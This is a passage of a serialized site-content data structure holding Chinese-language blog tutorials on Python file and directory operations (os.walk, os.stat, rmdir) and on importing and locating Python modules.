],[89630],{"type":24,"value":63495},{"type":24,"value":52671},{"type":18,"tag":74,"props":89633,"children":89635},{"className":89634},[],[89636],{"type":24,"value":89637},"rmdir()",{"type":24,"value":89639},"函数来实现，只有当前要删除的文件为空时才生效，其语法如下 ：",{"type":18,"tag":287,"props":89641,"children":89643},{"className":28710,"code":89642,"language":28712,"meta":8,"style":8},"import os\nos.rmdir(path)\n",[89644],{"type":18,"tag":74,"props":89645,"children":89646},{"__ignoreMap":8},[89647,89654],{"type":18,"tag":297,"props":89648,"children":89649},{"class":299,"line":300},[89650],{"type":18,"tag":297,"props":89651,"children":89652},{},[89653],{"type":24,"value":32731},{"type":18,"tag":297,"props":89655,"children":89656},{"class":299,"line":657},[89657],{"type":18,"tag":297,"props":89658,"children":89659},{},[89660],{"type":24,"value":89661},"os.rmdir(path)\n",{"type":18,"tag":34,"props":89663,"children":89664},{},[89665,89667,89672,89674,89679],{"type":24,"value":89666},"若目录不存在，将抛出",{"type":18,"tag":74,"props":89668,"children":89670},{"className":89669},[],[89671],{"type":24,"value":89511},{"type":24,"value":89673},"异常信息，因此该函数可以于",{"type":18,"tag":74,"props":89675,"children":89677},{"className":89676},[],[89678],{"type":24,"value":89402},{"type":24,"value":89680},"函数联合使用。",{"type":18,"tag":96,"props":89682,"children":89683},{},[89684],{"type":18,"tag":34,"props":89685,"children":89686},{},[89687,89689,89695,89696,89702],{"type":24,"value":89688},"若要删除非空目录，需要使用Python内置模块",{"type":18,"tag":74,"props":89690,"children":89692},{"className":89691},[],[89693],{"type":24,"value":89694},"shutill",{"type":24,"value":19130},{"type":18,"tag":74,"props":89697,"children":89699},{"className":89698},[],[89700],{"type":24,"value":89701},"rmtree()",{"type":24,"value":89703},"函数实现。",{"type":18,"tag":337,"props":89705,"children":89707},{"id":89706},"遍历目录",[89708],{"type":24,"value":89706},{"type":18,"tag":34,"props":89710,"children":89711},{},[89712,89714,89719,89720,89726],{"type":24,"value":89713},"对指定的目录下的全部目录及文件运行一遍。在Python中，",{"type":18,"tag":74,"props":89715,"children":89717},{"className":89716},[],[89718],{"type":24,"value":63495},{"type":24,"value":19130},{"type":18,"tag":74,"props":89721,"children":89723},{"className":89722},[],[89724],{"type":24,"value":89725},"walk()",{"type":24,"value":89727},"函数提供了遍历目录的功能，其语法格式如下：",{"type":18,"tag":287,"props":89729,"children":89731},{"className":28710,"code":89730,"language":28712,"meta":8,"style":8},"import os\nos.walk(top[,topdown][, onerror][, followlinks])\n",[89732],{"type":18,"tag":74,"props":89733,"children":89734},{"__ignoreMap":8},[89735,89742],{"type":18,"tag":297,"props":89736,"children":89737},{"class":299,"line":300},[89738],{"type":18,"tag":297,"props":89739,"children":89740},{},[89741],{"type":24,"value":32731},{"type":18,"tag":297,"props":89743,"children":89744},{"class":299,"line":657},[89745],{"type":18,"tag":297,"props":89746,"children":89747},{},[89748],{"type":24,"value":89749},"os.walk(top[,topdown][, onerror][, followlinks])\n",{"type":18,"tag":210,"props":89751,"children":89752},{},[89753,89764,89794,89805,89830],{"type":18,"tag":158,"props":89754,"children":89755},{},[89756,89762],{"type":18,"tag":74,"props":89757,"children":89759},{"className":89758},[],[89760],{"type":24,"value":89761},"top",{"type":24,"value":89763},"：用于指定要遍历内容的根目录",{"type":18,"tag":158,"props":89765,"children":89766},{},[89767,89773,89775,89780,89782,89787,89789],{"type":18,"tag":74,"props":89768,"children":89770},{"className":89769},[],[89771],{"type":24,"value":89772},"topdown",{"type":24,"value":89774},"：可选参数，指定遍历列表的顺序，",{"type":18,"tag":74,"props":89776,"children":89778},{"className":89777},[],[89779],{"type":24,"value":30505},{"type":24,"value":89781},"表示自上而下遍历（先遍历根目录），",{"type":18,"tag":74,"props":89783,"children":89785},{"className":89784},[],[89786],{"type":24,"value":30512},{"type":24,"value":89788},"表示自下而上遍历（先遍历最后一级子目录），默认为",{"type":18,"tag":74,"props":89790,"children":89792},{"className":89791},[],[89793],{"type":24,"value":30505},{"type":18,"tag":158,"props":89795,"children":89796},{},[89797,89803],{"type":18,"tag":74,"props":89798,"children":89800},{"className":89799},[],[89801],{"type":24,"value":89802},"onerror",{"type":24,"value":89804},"：可选参数，指定错误处理方式，默认为忽略，若不想默认，可自行采用函数。",{"type":18,"tag":158,"props":89806,"children":89807},{},[89808,89814,89816,89821,89823,89828],{"type":18,"tag":74,"props":89809,"children":89811},{"className":89810},[],[89812],{"type":24,"value":89813},"followlinks",{"type":24,"value":89815},"：可选参数，默认情况下，",{"type":18,"tag":74,"props":89817,"children":89819},{"className":89818},[],[89820],{"type":24,"value":89725},{"type":24,"value":89822},"函数不会向下转换成解析到目录的符号链接，将该函数值设置为",{"type":18,"tag":74,"props":89824,"children":89826},{"className":89825},[],[89827],{"type":24,"value":30505},{"type":24,"value":89829},"，表示用于指定在支持的系统上访问由符号链接指向的目录。",{"type":18,"tag":158,"props":89831,"children":89832},{},[89833,89835,89841,89842,89848,89849,89855,89857,89862,89864,89869,89871,89876],{"type":24,"value":89834},"返回值：返回一个包含三个元素（",{"type":18,"tag":74,"props":89836,"children":89838},{"className":89837},[],[89839],{"type":24,"value":89840},"dirpath",{"type":24,"value":1942},{"type":18,"tag":74,"props":89843,"children":89845},{"className":89844},[],[89846],{"type":24,"value":89847},"dirnames",{"type":24,"value":1942},{"type":18,"tag":74,"props":89850,"children":89852},{"className":89851},[],[89853],{"type":24,"value":89854},"filenames",{"type":24,"value":89856},"）的元组生成器对象。其中",{"type":18,"tag":74,"props":89858,"children":89860},{"className":89859},[],[89861],{"type":24,"value":89840},{"type":24,"value":89863},"表示当前遍历的路径，",{"type":18,"tag":74,"props":89865,"children":89867},{"className":89866},[],[89868],{"type":24,"value":89847},{"type":24,"value":89870},"表示当前路径下包含的子目录，是一个列表，",{"type":18,"tag":74,"props":89872,"children":89874},{"className":89873},[],[89875],{"type":24,"value":89854},{"type":24,"value":89877},"表示当前路径下包含的文件，是一个列表。",{"type":18,"tag":96,"props":89879,"children":89880},{},[89881],{"type":18,"tag":34,"props":89882,"children":89883},{},[89884,89889],{"type":18,"tag":74,"props":89885,"children":89887},{"className":89886},[],[89888],{"type":24,"value":89725},{"type":24,"value":89890},"函数只在UNIX和Windows系统有效",{"type":18,"tag":27,"props":89892,"children":89894},{"id":89893},"高级文件操作",[89895],{"type":24,"value":89893},{"type":18,"tag":34,"props":89897,"children":89898},{},[89899,89904],{"type":18,"tag":74,"props":89900,"children":89902},{"className":89901},[],[89903],{"type":24,"value":63495},{"type":24,"value":89905},"模块提供的与文件相关的函数及其说明如表：",{"type":18,"tag":431,"props":89907,"children":89908},{},[89909,89923],{"type":18,"tag":435,"props":89910,"children":89911},{},[89912],{"type":18,"tag":439,"props":89913,"children":89914},{},[89915,89919],{"type":18,"tag":443,"props":89916,"children":89917},{"align":3465},[89918],{"type":24,"value":81408},{"type":18,"tag":443,"props":89920,"children":89921},{"align":3465},[89922],{"type":24,"value":843},{"type":18,"tag":459,"props":89924,"children":89925},{},[89926,89943,89960,89977,89994,90011],{"type":18,"tag":439,"props":89927,"children":89928},{},[89929,89938],{"type":18,"tag":466,"props":89930,"children":89931},{"align":3465},[89932],{"type":18,"tag":74,"props":89933,"children":89935},{"className":89934},[],[89936],{"type":24,"value":89937},"access(path,accessmode)",{"type":18,"tag":466,"props":89939,"children":89940},{"align":3465},[89941],{"type":24,"value":89942},"获取文件访问权限（读取\u002F写入\u002F执行权限），值为R_OK(读取)、W_OK(写入)、X_OK(执行)、F_OK(存在)，若权限都存在，则返回1，否则返回0",{"type":18,"tag":439,"props":89944,"children":89945},{},[89946,89955],{"type":18,"tag":466,"props":89947,"children":89948},{"align":3465},[89949],{"type":18,"tag":74,"props":89950,"children":89952},{"className":89951},[],[89953],{"type":24,"value":89954},"chmod(path,mode)",{"type":18,"tag":466,"props":89956,"children":89957},{"align":3465},[89958],{"type":24,"value":89959},"修改path指定文件的访问权限",{"type":18,"tag":439,"props":89961,"children":89962},{},[89963,89972],{"type":18,"tag":466,"props":89964,"children":89965},{"align":3465},[89966],{"type":18,"tag":74,"props":89967,"children":89969},{"className":89968},[],[89970],{"type":24,"value":89971},"remove(path)",{"type":18,"tag":466,"props":89973,"children":89974},{"align":3465},[89975],{"type":24,"value":89976},"删除path指定的文件路径",{"type":18,"tag":439,"props":89978,"children":89979},{},[89980,89989],{"type":18,"tag":466,"props":89981,"children":89982},{"align":3465},[89983],{"type":18,"tag":74,"props":89984,"children":89986},{"className":89985},[],[89987],{"type":24,"value":89988},"rename(src,dst)",{"type":18,"tag":466,"props":89990,"children":89991},{"align":3465},[89992],{"type":24,"value":89993},"将文件或目录src重命名为dst",{"type":18,"tag":439,"props":89995,"children":89996},{},[89997,90006],{"type":18,"tag":466,"props":89998,"children":89999},{"align":3465},[90000],{"type":18,"tag":74,"props":90001,"children":90003},{"className":90002},[],[90004],{"type":24,"value":90005},"stat(path)",{"type":18,"tag":466,"props":90007,"children":90008},{"align":3465},[90009],{"type":24,"value":90010},"返回path指定文件的信息",{"type":18,"tag":439,"props":90012,"children":90013},{},[90014,90023],{"type":18,"tag":466,"props":90015,"children":90016},{"align":3465},[90017],{"type":18,"tag":74,"props":90018,"children":90020},{"className":90019},[],[90021],{"type":24,"value":90022},"startfile(path[, operation])",{"type":18,"tag":466,"props":90024,"children":90025},{"align":3465},[90026],{"type":24,"value":90027},"使用关联的应用程序打开path指定的文件",{"type":18,"tag":96,"props":90029,"children":90030},{},[90031],{"type":18,"tag":34,"props":90032,"children":90033},{},[90034,90035,90041],{"type":24,"value":67895},{"type":18,"tag":74,"props":90036,"children":90038},{"className":90037},[],[90039],{"type":24,"value":90040},"rename()",{"type":24,"value":90042},"函数重命名目录时，只能修改最后一级的目录名称，否则将抛出异常",{"type":18,"tag":337,"props":90044,"children":90046},{"id":90045},"获取文件基本信息",[90047],{"type":24,"value":90045},{"type":18,"tag":34,"props":90049,"children":90050},{},[90051,90052,90057,90058,90064],{"type":24,"value":79134},{"type":18,"tag":74,"props":90053,"children":90055},{"className":90054},[],[90056],{"type":24,"value":63495},{"type":24,"value":52671},{"type":18,"tag":74,"props":90059,"children":90061},{"className":90060},[],[90062],{"type":24,"value":90063},"stat()",{"type":24,"value":90065},"函数获取文件的基本信息。其格式语法如下：",{"type":18,"tag":287,"props":90067,"children":90069},{"className":28710,"code":90068,"language":28712,"meta":8,"style":8},"import os\nprint(os.stat(path))\n",[90070],{"type":18,"tag":74,"props":90071,"children":90072},{"__ignoreMap":8},[90073,90080],{"type":18,"tag":297,"props":90074,"children":90075},{"class":299,"line":300},[90076],{"type":18,"tag":297,"props":90077,"children":90078},{},[90079],{"type":24,"value":32731},{"type":18,"tag":297,"props":90081,"children":90082},{"class":299,"line":657},[90083],{"type":18,"tag":297,"props":90084,"children":90085},{},[90086],{"type":24,"value":90087},"print(os.stat(path))\n",{"type":18,"tag":34,"props":90089,"children":90090},{},[90091,90097],{"type":18,"tag":74,"props":90092,"children":90094},{"className":90093},[],[90095],{"type":24,"value":90096},"stat()函数",{"type":24,"value":90098}," 返回的对象的常用属性及其说明",{"type":18,"tag":431,"props":90100,"children":90101},{},[90102,90116],{"type":18,"tag":435,"props":90103,"children":90104},{},[90105],{"type":18,"tag":439,"props":90106,"children":90107},{},[90108,90112],{"type":18,"tag":443,"props":90109,"children":90110},{"align":3465},[90111],{"type":24,"value":12135},{"type":18,"tag":443,"props":90113,"children":90114},{"align":3465},[90115],{"type":24,"value":843},{"type":18,"tag":459,"props":90117,"children":90118},{},[90119,90136,90153,90170,90187,90204,90221,90238,90255,90272],{"type":18,"tag":439,"props":90120,"children":90121},{},[90122,90131],{"type":18,"tag":466,"props":90123,"children":90124},{"align":3465},[90125],{"type":18,"tag":74,"props":90126,"children":90128},{"className":90127},[],[90129],{"type":24,"value":90130},"st_mode",{"type":18,"tag":466,"props":90132,"children":90133},{"align":3465},[90134],{"type":24,"value":90135},"保护模式",{"type":18,"tag":439,"props":90137,"children":90138},{},[90139,90148],{"type":18,"tag":466,"props":90140,"children":90141},{"align":3465},[90142],{"type":18,"tag":74,"props":90143,"children":90145},{"className":90144},[],[90146],{"type":24,"value":90147},"st_ino",{"type":18,"tag":466,"props":90149,"children":90150},{"align":3465},[90151],{"type":24,"value":90152},"索引号",{"type":18,"tag":439,"props":90154,"children":90155},{},[90156,90165],{"type":18,"tag":466,"props":90157,"children":90158},{"align":3465},[90159],{"type":18,"tag":74,"props":90160,"children":90162},{"className":90161},[],[90163],{"type":24,"value":90164},"st_nlink",{"type":18,"tag":466,"props":90166,"children":90167},{"align":3465},[90168],{"type":24,"value":90169},"硬链接号（被链接数目）",{"type":18,"tag":439,"props":90171,"children":90172},{},[90173,90182],{"type":18,"tag":466,"props":90174,"children":90175},{"align":3465},[90176],{"type":18,"tag":74,"props":90177,"children":90179},{"className":90178},[],[90180],{"type":24,"value":90181},"st_size",{"type":18,"tag":466,"props":90183,"children":90184},{"align":3465},[90185],{"type":24,"value":90186},"文件大小，单位为Byte",{"type":18,"tag":439,"props":90188,"children":90189},{},[90190,90199],{"type":18,"tag":466,"props":90191,"children":90192},{"align":3465},[90193],{"type":18,"tag":74,"props":90194,"children":90196},{"className":90195},[],[90197],{"type":24,"value":90198},"st_mtime",{"type":18,"tag":466,"props":90200,"children":90201},{"align":3465},[90202],{"type":24,"value":90203},"最后一次修改时间",{"type":18,"tag":439,"props":90205,"children":90206},{},[90207,90216],{"type":18,"tag":466,"props":90208,"children":90209},{"align":3465},[90210],{"type":18,"tag":74,"props":90211,"children":90213},{"className":90212},[],[90214],{"type":24,"value":90215},"st_dev",{"type":18,"tag":466,"props":90217,"children":90218},{"align":3465},[90219],{"type":24,"value":90220},"设备名",{"type":18,"tag":439,"props":90222,"children":90223},{},[90224,90233],{"type":18,"tag":466,"props":90225,"children":90226},{"align":3465},[90227],{"type":18,"tag":74,"props":90228,"children":90230},{"className":90229},[],[90231],{"type":24,"value":90232},"st_uid",{"type":18,"tag":466,"props":90234,"children":90235},{"align":3465},[90236],{"type":24,"value":90237},"用户ID",{"type":18,"tag":439,"props":90239,"children":90240},{},[90241,90250],{"type":18,"tag":466,"props":90242,"children":90243},{"align":3465},[90244],{"type":18,"tag":74,"props":90245,"children":90247},{"className":90246},[],[90248],{"type":24,"value":90249},"st_gid",{"type":18,"tag":466,"props":90251,"children":90252},{"align":3465},[90253],{"type":24,"value":90254},"组ID",{"type":18,"tag":439,"props":90256,"children":90257},{},[90258,90267],{"type":18,"tag":466,"props":90259,"children":90260},{"align":3465},[90261],{"type":18,"tag":74,"props":90262,"children":90264},{"className":90263},[],[90265],{"type":24,"value":90266},"st_atime",{"type":18,"tag":466,"props":90268,"children":90269},{"align":3465},[90270],{"type":24,"value":90271},"最后一次访问时间",{"type":18,"tag":439,"props":90273,"children":90274},{},[90275,90284],{"type":18,"tag":466,"props":90276,"children":90277},{"align":3465},[90278],{"type":18,"tag":74,"props":90279,"children":90281},{"className":90280},[],[90282],{"type":24,"value":90283},"st_ctime",{"type":18,"tag":466,"props":90285,"children":90286},{"align":3465},[90287],{"type":24,"value":90288},"最后一次状态变化的时间。系统不同，返回结果也不同",{"type":18,"tag":34,"props":90290,"children":90291},{},[90292],{"type":24,"value":90293},"如下示例所示：",{"type":18,"tag":287,"props":90295,"children":90297},{"className":28710,"code":90296,"language":28712,"meta":8,"style":8},"import os\nfileinfo = os.stat(\"demo.png\")\nprint(\"文件的完整路径：\",os.path.abspath(\"demo.png\"))\nprint(\"索引号：\",fileinfo.st_ino)\nprint(\"设备名：\",fileinfo.st_dev)\nprint(\"文件大小：\",fileinfo.st_size,\"Byte\")\nprint(\"最后一次访问时间：\",fileinfo.st_atime)\nprint(\"最后一次修改时间：\",fileinfo.st_mtime)\nprint(\"最后一次状态变化时间：\",fileinfo.st_ctime)\n",[90298],{"type":18,"tag":74,"props":90299,"children":90300},{"__ignoreMap":8},[90301,90308,90316,90324,90332,90340,90348,90356,90364],{"type":18,"tag":297,"props":90302,"children":90303},{"class":299,"line":300},[90304],{"type":18,"tag":297,"props":90305,"children":90306},{},[90307],{"type":24,"value":32731},{"type":18,"tag":297,"props":90309,"children":90310},{"class":299,"line":657},[90311],{"type":18,"tag":297,"props":90312,"children":90313},{},[90314],{"type":24,"value":90315},"fileinfo = os.stat(\"demo.png\")\n",{"type":18,"tag":297,"props":90317,"children":90318},{"class":299,"line":662},[90319],{"type":18,"tag":297,"props":90320,"children":90321},{},[90322],{"type":24,"value":90323},"print(\"文件的完整路径：\",os.path.abspath(\"demo.png\"))\n",{"type":18,"tag":297,"props":90325,"children":90326},{"class":299,"line":799},[90327],{"type":18,"tag":297,"props":90328,"children":90329},{},[90330],{"type":24,"value":90331},"print(\"索引号：\",fileinfo.st_ino)\n",{"type":18,"tag":297,"props":90333,"children":90334},{"class":299,"line":808},[90335],{"type":18,"tag":297,"props":90336,"children":90337},{},[90338],{"type":24,"value":90339},"print(\"设备名：\",fileinfo.st_dev)\n",{"type":18,"tag":297,"props":90341,"children":90342},{"class":299,"line":817},[90343],{"type":18,"tag":297,"props":90344,"children":90345},{},[90346],{"type":24,"value":90347},"print(\"文件大小：\",fileinfo.st_size,\"Byte\")\n",{"type":18,"tag":297,"props":90349,"children":90350},{"class":299,"line":826},[90351],{"type":18,"tag":297,"props":90352,"children":90353},{},[90354],{"type":24,"value":90355},"print(\"最后一次访问时间：\",fileinfo.st_atime)\n",{"type":18,"tag":297,"props":90357,"children":90358},{"class":299,"line":4524},[90359],{"type":18,"tag":297,"props":90360,"children":90361},{},[90362],{"type":24,"value":90363},"print(\"最后一次修改时间：\",fileinfo.st_mtime)\n",{"type":18,"tag":297,"props":90365,"children":90366},{"class":299,"line":4533},[90367],{"type":18,"tag":297,"props":90368,"children":90369},{},[90370],{"type":24,"value":90371},"print(\"最后一次状态变化时间：\",fileinfo.st_ctime)\n",{"type":18,"tag":651,"props":90373,"children":90374},{},[90375],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":90377},[90378,90379,90380],{"id":87732,"depth":662,"text":87732},{"id":88728,"depth":662,"text":88728},{"id":89893,"depth":662,"text":89893},"content:blog:2025-07-09-python-文件及目录操作.md","blog\u002F2025-07-09-python-文件及目录操作.md","blog\u002F2025-07-09-python-文件及目录操作",{"_path":90385,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":90386,"description":90387,"date":90388,"tags":90389,"body":90390,"_type":672,"_id":91666,"_source":674,"_file":91667,"_stem":91668,"_extension":677},"\u002Fblog\u002F2025-07-08-python","Python-模块","Python模块与包管理：import机制、自定义模块、pip包管理与虚拟环境。","2025-07-08",[28616,75509],{"type":15,"children":90391,"toc":91659},[90392,90395,90400,90412,90417,90422,90435,90440,90457,90470,90475,90480,90506,90525,90539,90564,90603,90616,90630,90659,90682,90695,90756,90776,90781,90792,90810,90829,90851,90866,90874,90894,90916,90924,90940,90974,90989,91003,91011,91040,91048,91056,91062,91067,91083,91089,91094,91102,91107,91126,91139,91181,91201,91224,91243,91266,91285,91308,91339,91344,91371,91382,91421,91426,91495,91500,91544,91549,91561,91566,91632,91637,91655],{"type":18,"tag":121,"props":90393,"children":90394},{},[],{"type":18,"tag":27,"props":90396,"children":90398},{"id":90397},"模块概述",[90399],{"type":24,"value":90397},{"type":18,"tag":34,"props":90401,"children":90402},{},[90403,90405,90410],{"type":24,"value":90404},"模块（module）：一个扩展名为 ",{"type":18,"tag":74,"props":90406,"children":90408},{"className":90407},[],[90409],{"type":24,"value":42560},{"type":24,"value":90411}," 的文件，一个模块可以包含很多个函数。使用模块，不仅可以避免函数名和变量名的冲突，而且提高了代码的可维护性和重用性。",{"type":18,"tag":27,"props":90413,"children":90415},{"id":90414},"自定义模块",[90416],{"type":24,"value":90414},{"type":18,"tag":34,"props":90418,"children":90419},{},[90420],{"type":24,"value":90421},"自定义模块有两个作用：",{"type":18,"tag":210,"props":90423,"children":90424},{},[90425,90430],{"type":18,"tag":158,"props":90426,"children":90427},{},[90428],{"type":24,"value":90429},"规范代码，让代码更易于阅读",{"type":18,"tag":158,"props":90431,"children":90432},{},[90433],{"type":24,"value":90434},"便于其他程序调用",{"type":18,"tag":337,"props":90436,"children":90438},{"id":90437},"创建模块",[90439],{"type":24,"value":90437},{"type":18,"tag":34,"props":90441,"children":90442},{},[90443,90447,90449,90455],{"type":18,"tag":105,"props":90444,"children":90445},{},[90446],{"type":24,"value":90437},{"type":24,"value":90448},"是指将模块相关代码编写至一个以 ",{"type":18,"tag":74,"props":90450,"children":90452},{"className":90451},[],[90453],{"type":24,"value":90454},"module_name.py",{"type":24,"value":90456}," 形式命名的单独文件，其中创建模块名时注意模块名不是与Python自带的模块重名。",{"type":18,"tag":96,"props":90458,"children":90459},{},[90460],{"type":18,"tag":34,"props":90461,"children":90462},{},[90463,90465],{"type":24,"value":90464},"模块的扩展名必须为 ",{"type":18,"tag":74,"props":90466,"children":90468},{"className":90467},[],[90469],{"type":24,"value":42560},{"type":18,"tag":337,"props":90471,"children":90473},{"id":90472},"导入模块",[90474],{"type":24,"value":90472},{"type":18,"tag":34,"props":90476,"children":90477},{},[90478],{"type":24,"value":90479},"导入模块存在两种方式：",{"type":18,"tag":210,"props":90481,"children":90482},{},[90483,90495],{"type":18,"tag":158,"props":90484,"children":90485},{},[90486,90487,90493],{"type":24,"value":6499},{"type":18,"tag":74,"props":90488,"children":90490},{"className":90489},[],[90491],{"type":24,"value":90492},"import",{"type":24,"value":90494}," 语句导入模块",{"type":18,"tag":158,"props":90496,"children":90497},{},[90498,90499,90505],{"type":24,"value":6499},{"type":18,"tag":74,"props":90500,"children":90502},{"className":90501},[],[90503],{"type":24,"value":90504},"from ... import ...",{"type":24,"value":90494},{"type":18,"tag":34,"props":90507,"children":90508},{},[90509,90511,90516,90518,90523],{"type":24,"value":90510},"调用代码可以使用 ",{"type":18,"tag":74,"props":90512,"children":90514},{"className":90513},[],[90515],{"type":24,"value":90492},{"type":24,"value":90517}," 语句实现，使用 ",{"type":18,"tag":74,"props":90519,"children":90521},{"className":90520},[],[90522],{"type":24,"value":90492},{"type":24,"value":90524}," 语句还可以一次导入多个模块，模块名之间使用逗号间隔。其语法格式如下所示：",{"type":18,"tag":287,"props":90526,"children":90528},{"code":90527,"language":28712,"meta":8,"className":28710,"style":8},"import module_name1 [[as other_name], module_name2 ...]\n",[90529],{"type":18,"tag":74,"props":90530,"children":90531},{"__ignoreMap":8},[90532],{"type":18,"tag":297,"props":90533,"children":90534},{"class":299,"line":300},[90535],{"type":18,"tag":297,"props":90536,"children":90537},{},[90538],{"type":24,"value":90527},{"type":18,"tag":210,"props":90540,"children":90541},{},[90542,90553],{"type":18,"tag":158,"props":90543,"children":90544},{},[90545,90551],{"type":18,"tag":74,"props":90546,"children":90548},{"className":90547},[],[90549],{"type":24,"value":90550},"module_name",{"type":24,"value":90552}," ：指定需要导入的模块名称",{"type":18,"tag":158,"props":90554,"children":90555},{},[90556,90562],{"type":18,"tag":74,"props":90557,"children":90559},{"className":90558},[],[90560],{"type":24,"value":90561},"as other_name",{"type":24,"value":90563}," ：为导入的模块起一个别名，通过别名调用函数",{"type":18,"tag":96,"props":90565,"children":90566},{},[90567],{"type":18,"tag":34,"props":90568,"children":90569},{},[90570,90572,90578,90580,90586,90588,90593,90595,90601],{"type":24,"value":90571},"在调用模块中的变量、函数或者类时，需要在变量名、函数名或类名前添加 ",{"type":18,"tag":74,"props":90573,"children":90575},{"className":90574},[],[90576],{"type":24,"value":90577},"模块名.",{"type":24,"value":90579}," 作为前缀，但是当使用 ",{"type":18,"tag":74,"props":90581,"children":90583},{"className":90582},[],[90584],{"type":24,"value":90585},"as 别名",{"type":24,"value":90587}," 时，此时的 ",{"type":18,"tag":74,"props":90589,"children":90591},{"className":90590},[],[90592],{"type":24,"value":90577},{"type":24,"value":90594}," 前缀需要更改为 ",{"type":18,"tag":74,"props":90596,"children":90598},{"className":90597},[],[90599],{"type":24,"value":90600},"别名.",{"type":24,"value":90602}," 的形式。",{"type":18,"tag":34,"props":90604,"children":90605},{},[90606,90608,90614],{"type":24,"value":90607},"若不想在每次导入模块时都创建一个新的命名空间，而是仅将具体的定义导入当前的命名空间中，这时可以使用 ",{"type":18,"tag":74,"props":90609,"children":90611},{"className":90610},[],[90612],{"type":24,"value":90613},"form ... import",{"type":24,"value":90615}," 语句。当使用该语句导入后，不需要再添加前缀，可以直接通过具体的变量、函数和类名等访问即可。其语法结构如下：",{"type":18,"tag":287,"props":90617,"children":90619},{"code":90618,"language":28712,"meta":8,"className":28710,"style":8},"from module_name as member\n",[90620],{"type":18,"tag":74,"props":90621,"children":90622},{"__ignoreMap":8},[90623],{"type":18,"tag":297,"props":90624,"children":90625},{"class":299,"line":300},[90626],{"type":18,"tag":297,"props":90627,"children":90628},{},[90629],{"type":24,"value":90618},{"type":18,"tag":210,"props":90631,"children":90632},{},[90633,90643],{"type":18,"tag":158,"props":90634,"children":90635},{},[90636,90641],{"type":18,"tag":74,"props":90637,"children":90639},{"className":90638},[],[90640],{"type":24,"value":90550},{"type":24,"value":90642}," ：模块名称，区分大小写",{"type":18,"tag":158,"props":90644,"children":90645},{},[90646,90652,90654],{"type":18,"tag":74,"props":90647,"children":90649},{"className":90648},[],[90650],{"type":24,"value":90651},"member",{"type":24,"value":90653}," ：指定需要导入的变量、函数或者类，若要导入全部定义，可以使用通配符 ",{"type":18,"tag":74,"props":90655,"children":90657},{"className":90656},[],[90658],{"type":24,"value":31597},{"type":18,"tag":96,"props":90660,"children":90661},{},[90662],{"type":18,"tag":34,"props":90663,"children":90664},{},[90665,90667,90672,90674,90680],{"type":24,"value":90666},"使用通配符 ",{"type":18,"tag":74,"props":90668,"children":90670},{"className":90669},[],[90671],{"type":24,"value":31597},{"type":24,"value":90673}," 导入全部定义后，想查看具体导入了那些定义们可以通过显示 ",{"type":18,"tag":74,"props":90675,"children":90677},{"className":90676},[],[90678],{"type":24,"value":90679},"dir()",{"type":24,"value":90681},"函数的值来查看。",{"type":18,"tag":34,"props":90683,"children":90684},{},[90685,90687,90693],{"type":24,"value":90686},"例如，执行",{"type":18,"tag":74,"props":90688,"children":90690},{"className":90689},[],[90691],{"type":24,"value":90692},"print(dir())",{"type":24,"value":90694},"语句，将显示以下定义：",{"type":18,"tag":287,"props":90696,"children":90698},{"code":90697,"language":28712,"meta":8,"className":28710,"style":8},"from requests import api, exceptions,auth  \n  \nprint(dir())  \n  \n'''  \n['__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'api', 'auth', 'exceptions']  \n'''\n",[90699],{"type":18,"tag":74,"props":90700,"children":90701},{"__ignoreMap":8},[90702,90710,90717,90725,90732,90740,90748],{"type":18,"tag":297,"props":90703,"children":90704},{"class":299,"line":300},[90705],{"type":18,"tag":297,"props":90706,"children":90707},{},[90708],{"type":24,"value":90709},"from requests import api, exceptions,auth  \n",{"type":18,"tag":297,"props":90711,"children":90712},{"class":299,"line":657},[90713],{"type":18,"tag":297,"props":90714,"children":90715},{},[90716],{"type":24,"value":36783},{"type":18,"tag":297,"props":90718,"children":90719},{"class":299,"line":662},[90720],{"type":18,"tag":297,"props":90721,"children":90722},{},[90723],{"type":24,"value":90724},"print(dir())  \n",{"type":18,"tag":297,"props":90726,"children":90727},{"class":299,"line":799},[90728],{"type":18,"tag":297,"props":90729,"children":90730},{},[90731],{"type":24,"value":36783},{"type":18,"tag":297,"props":90733,"children":90734},{"class":299,"line":808},[90735],{"type":18,"tag":297,"props":90736,"children":90737},{},[90738],{"type":24,"value":90739},"'''  \n",{"type":18,"tag":297,"props":90741,"children":90742},{"class":299,"line":817},[90743],{"type":18,"tag":297,"props":90744,"children":90745},{},[90746],{"type":24,"value":90747},"['__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'api', 'auth', 'exceptions']  \n",{"type":18,"tag":297,"props":90749,"children":90750},{"class":299,"line":826},[90751],{"type":18,"tag":297,"props":90752,"children":90753},{},[90754],{"type":24,"value":90755},"'''\n",{"type":18,"tag":34,"props":90757,"children":90758},{},[90759,90761,90767,90769,90774],{"type":24,"value":90760},"在使用 ",{"type":18,"tag":74,"props":90762,"children":90764},{"className":90763},[],[90765],{"type":24,"value":90766},"from ... import",{"type":24,"value":90768}," 语句导入模块中的定义时，需要保证所导入的内容在当前的命名空间中是唯一的，否则将出现冲突，后导入的同名变量、函数或者类会覆盖先导入的。此时需要使用 ",{"type":18,"tag":74,"props":90770,"children":90772},{"className":90771},[],[90773],{"type":24,"value":90492},{"type":24,"value":90775}," 语句导入。",{"type":18,"tag":337,"props":90777,"children":90779},{"id":90778},"模块搜索目录",[90780],{"type":24,"value":90778},{"type":18,"tag":34,"props":90782,"children":90783},{},[90784,90785,90790],{"type":24,"value":6499},{"type":18,"tag":74,"props":90786,"children":90788},{"className":90787},[],[90789],{"type":24,"value":90492},{"type":24,"value":90791}," 语句导入模块时，注意文件所在的位置目标，默认情况下，会按照以下顺序进行查询：",{"type":18,"tag":154,"props":90793,"children":90794},{},[90795,90800,90805],{"type":18,"tag":158,"props":90796,"children":90797},{},[90798],{"type":24,"value":90799},"在当前目录（即执行的Python脚本文件所在目录）中进行查找",{"type":18,"tag":158,"props":90801,"children":90802},{},[90803],{"type":24,"value":90804},"在PYTHONPATH（环境变量）下的每个目录中进行查找",{"type":18,"tag":158,"props":90806,"children":90807},{},[90808],{"type":24,"value":90809},"在Python的默认安装目录中进行查找",{"type":18,"tag":34,"props":90811,"children":90812},{},[90813,90815,90821,90822,90827],{"type":24,"value":90814},"以上各个目录的具体位置保存标准模块 